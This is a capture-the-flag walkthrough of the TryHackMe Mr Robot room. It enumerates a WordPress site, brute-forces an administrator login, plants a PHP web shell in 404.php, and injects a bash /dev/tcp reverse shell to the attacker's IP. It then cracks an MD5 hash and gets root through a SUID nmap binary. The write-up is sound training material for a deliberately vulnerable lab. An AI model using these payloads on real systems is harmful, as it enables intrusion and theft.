Mr Robot CTF - TryHackMe Writeup

##TryHackMe Room - Mr Robot CTF

Can you root this Mr. Robot styled machine? This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?

##Enumeration

###Nmap Scan

Starting with a comprehensive nmap scan to identify open ports and services:

bash

nmap -p- -vv <TARGET_IP> -sV

Results:

PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     syn-ack ttl 64 Apache httpd
443/tcp open  ssl/http syn-ack ttl 64 Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have SSH, HTTP, and HTTPS services running. Let's explore the web application on port 80.

###Web Application Discovery

On visiting the web application, we see a terminal-kind of startup sequence and then we are provided with a few commands to run. I tried executing a few but none were of much use.

html

preparefsociety
inform
question
wakeup
join

When trying the join command, I am asked for an email. After submitting a random value and examining the request in Burp Suite, I found an interesting URL in the response message:

html

<script src="http://<TARGET_IP>/wp-content/themes/twentyfifteen/js/html5.js"></script>

So, we have a WordPress application! Let's scan it with wpscan.

###WordPress Enumeration

Let's initiate a wpscan to enumerate plugins and gather information:

bash

wpscan --url http://<TARGET_IP> --enumerate p

Results:

[+] URL: http://<TARGET_IP>/ [<TARGET_IP>]
[+] Started: Fri Jan 16 22:06:45 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache
 |  - X-Mod-Pagespeed: 1.9.32.3-4523
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://<TARGET_IP>/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://<TARGET_IP>/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
 | Found By: Emoji Settings (Passive Detection)
 | Confirmed By: Meta Generator (Passive Detection)

[+] WordPress theme in use: twentyfifteen
 | Location: http://<TARGET_IP>/wp-content/themes/twentyfifteen/
 | Last Updated: 2025-12-03T00:00:00.000Z
 | [!] The version is out of date, the latest version is 4.1

###robots.txt Discovery

First things first, we have a robots.txt file. Let's visit it:

User-agent: *
fsocity.dic
key-1-of-3.txt

Opening key-1-of-3.txt reveals the first answer to the room.

And, fsocity.dic is a wordlist which might be useful for bruteforcing later. Let's save it for future use.

##Initial Access

###Username Enumeration

We notice that we have direct access to /xmlrpc.php, and that we can bruteforce with the given dictionary. But, we also need usernames. At the start, we saw a login panel where we could see:

mrrobot login
username: root

So, we have 2 potential usernames - root & mrrobot.

However, I discovered a username enumeration vulnerability in the given WordPress version. Let's search for exploits:

bash

searchsploit "WordPress 4.3.1"

Results:

WordPress Core < 4.7.1 - Username enumeration | php/webapps/41497.php
WordPress Core < 4.7.4 - Unauthorized Password Reset | linux/webapps/41963.txt

So, I visited http://<TARGET_IP>/wp-login.php and tried these usernames with random passwords.

Invalid username error:

html

	<strong>ERROR</strong>: Invalid username. <a href="http://<TARGET_IP>/wp-login.php?action=lostpassword">Lost your password?</a>

Now, trying names from the wordlist we discovered, I found a username Elliot on trying which the error message differed.

Valid username error:

html

	<strong>ERROR</strong>: The password you entered for the username <strong>Elliot</strong> is incorrect. <a href="http://<TARGET_IP>/wp-login.php?action=lostpassword">Lost your password?</a>

This confirmed my suspicion. Now, we have the username.

###Password Cracking

Also, I sorted and cut out repetitive passwords from the wordlist using:

bash

sort fsocity.dic | uniq > fsocity_clean.txt

Now, running a bruteforce with Elliot as the username and the non-redundant wordlist:

bash

wpscan --url http://<TARGET_IP> \
       --usernames Elliot \
       --passwords fsocity_clean.txt

Results:

[+] URL: http://<TARGET_IP>/ [<TARGET_IP>]
[+] Started: Fri Jan 16 22:54:35 2026

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - Elliot / <REDACTED>
All Found

[!] Valid Combinations Found:
 | Username: Elliot, Password: <REDACTED>

Got it! We now have valid credentials. Let's login to the wp-login page and we are in!

###WordPress Admin Access

Looked up posts, gallery but no clues. Until I reached the Users tab.

Users Found:

elliot	    Elliot	 Alderson	elliot@mrrobot.com	Administrator
mich05654   krista       Gordon	        kgordon@therapist.com	Subscriber

When opening up Krista's profile we see an interesting hint:

Another key?

This means that we are on the right path.

###Remote Code Execution

Next, as we know that we can now edit files in the Appearance > Editor section. Let's try to modify the 404.php file, and see if we are able to execute commands.

Replacing the file contents with:

php

<?php system($_GET['cmd']); ?>

Now, after hitting the endpoint with a cmd flag, we should see some response.

http://<TARGET_IP>/wp-content/themes/twentyfifteen/404.php?cmd=id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

We have it! Now, let's improve our PHP script to get a reverse shell.

###Reverse Shell

Start a listener locally with:

bash

nc -lvnp 1234

And update the 404.php file with:

php

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/1234 0>&1'"); ?>

Now, let's visit the endpoint <TARGET_IP>/wp-content/themes/twentyfifteen/404.php and that gives us the reverse shell.

Reverse Shell Obtained:

┌──(kali㉿kali)-[~/CTF/THM]
└─$ nc -lnvp 1234                                     
listening on [any] 1234 ...
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 44190
bash: cannot set terminal process group (3172): Inappropriate ioctl for device
bash: no job control in this shell
</wordpress/htdocs/wp-content/themes/twentyfifteen$

Let's stabilise shell with:

bash

python -c 'import pty; pty.spawn("/bin/bash")'

##User Flag

###Finding Key 2

Next, let's hunt for keys:

bash

daemon@ip-<TARGET_IP>:/$ cd /home
daemon@ip-<TARGET_IP>:/home$ ls 
robot  ubuntu
daemon@ip-<TARGET_IP>:/home$ cd robot
daemon@ip-<TARGET_IP>:/home/robot$ ls -la
total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 4 root  root  4096 Jun  2  2025 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5
daemon@ip-<TARGET_IP>:/home/robot$ cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
daemon@ip-<TARGET_IP>:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:<REDACTED>

Ok, so we are not allowed to directly read the file but we have an MD5 hash which is probably the password to the user robot. Let's crack it with the same wordlist we found earlier using john the ripper.

bash

john hash.txt --wordlist=fsocity_clean.txt --format=Raw-MD5

Results:

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2026-01-16 23:20) 0g/s 1145Kp/s 1145Kc/s 1145KC/s wgRestrictionCreate..Zzydrax
Session completed.

The original wordlist didn't crack it, so let's try rockyou.txt:

bash

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5

Results:

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (robot)     
1g 0:00:00:00 DONE (2026-01-16 23:21) 50.00g/s 2035Kp/s 2035Kc/s 2035KC/s bonjour1..teletubbies
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Great! We have the password. Let's SSH login using username robot and the cracked password.

bash

ssh robot@<TARGET_IP>

SSH Login Successful:

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Last login: Fri Nov 13 23:50:42 2015
$ ls
key-2-of-3.txt  password.raw-md5
$ cat key-2-of-3.txt
<REDACTED>

Perfect! We have successfully retrieved key 2 of 3.

Now, stabilise shell again:

bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

##Privilege Escalation

###SUID Binary Analysis

Next is privesc. Let's look for Sudo misconfigs:

bash

robot@ip-<TARGET_IP>:~$ sudo -l
[sudo] password for robot: 
Sorry, user robot may not run sudo on ip-<TARGET_IP>.

None! Ok, SUID binaries are next:

bash

find / -perm -u=s -type f 2>/dev/null

Results:

/bin/mount
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Interesting find! We have /usr/local/bin/nmap listed as a SUID binary. Which we can exploit here!

bash

robot@ip-<TARGET_IP>:/opt/bitnami/stats$ ls -l /usr/local/bin/nmap
-rwsr-xr-x 1 root root 17272 Jun  2  2025 /usr/local/bin/nmap
robot@ip-<TARGET_IP>:/opt/bitnami/stats$ /usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
root@ip-<TARGET_IP>:/opt/bitnami/stats# whoami
root
root@ip-<TARGET_IP>:/opt/bitnami/stats# cd /root
root@ip-<TARGET_IP>:/root# ls
firstboot_done  key-3-of-3.txt
root@ip-<TARGET_IP>:/root# cat key-3-of-3.txt
<REDACTED>

##Root Flag

We successfully escalated privileges using the SUID nmap binary and retrieved the root flag!

##References

##Answers

###Task 1 - Mr Robot CTF

Can you root this Mr. Robot styled machine? This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?

>
What is key 1?

Ans. <REDACTED>
>
What is key 2?

Ans. <REDACTED>
>
What is key 3?

Ans. <REDACTED>